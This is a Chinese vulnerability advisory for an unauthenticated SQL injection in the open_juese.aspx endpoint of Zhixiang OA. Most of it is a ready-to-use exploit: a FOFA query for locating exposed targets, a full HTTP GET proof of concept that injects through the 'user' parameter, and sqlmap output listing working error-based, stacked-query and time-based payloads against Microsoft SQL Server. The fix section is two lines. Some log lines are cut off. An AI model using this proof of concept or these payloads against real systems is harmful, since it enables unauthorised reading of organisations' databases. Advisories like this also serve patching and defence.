

致翔软件致翔OA-open_juese存在SQL注入漏洞

漏洞描述

致翔OA-open_juese存在SQL注入漏洞，在未经身份验证的情况下可进行数据库的数据读取，危害很大。

影响版本

致翔OA

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="致翔软件-致翔OA"

POC/EXP：

```
GET /OpenWindows/open_juese.aspx?key=1&name=1&user=-1)+and+1=user--+&requeststr=
HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/130.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8
,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
```



```
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable
elopers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 03:30:32 /2024-11-01/

[03:30:32] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.6) Gecko/20050318 Firefox/1.0.2' from fi
agents.txt'
[03:30:32] [INFO] resuming back-end DBMS 'microsoft sql server'
[03:30:32] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: user (GET)
  Type: error-based
  Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
  Payload: user='1' AND 4159 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(107)+CHAR(98)+CHAR(113))+(SELECT (CASE WHEN (4159=4159) THEN CHAR(49) ELSE CHAR(48) END))+CH
+CHAR(113)))-- tcjF

  Type: stacked queries
  Title: Microsoft SQL Server/Sybase stacked queries (comment)
  Payload: user='1';WAITFOR DELAY '0:0:5'--

  Type: time-based blind
  Title: Microsoft SQL Server/Sybase time-based blind (IF)
  Payload: user='1' WAITFOR DELAY '0:0:5'-- MLBW

[03:30:44] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows XP or 2003
web application technology: Microsoft IIS 6.0, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[03:30:44] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/'
[03:30:44] [WARNING] your sqlmap version is outdated
```

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本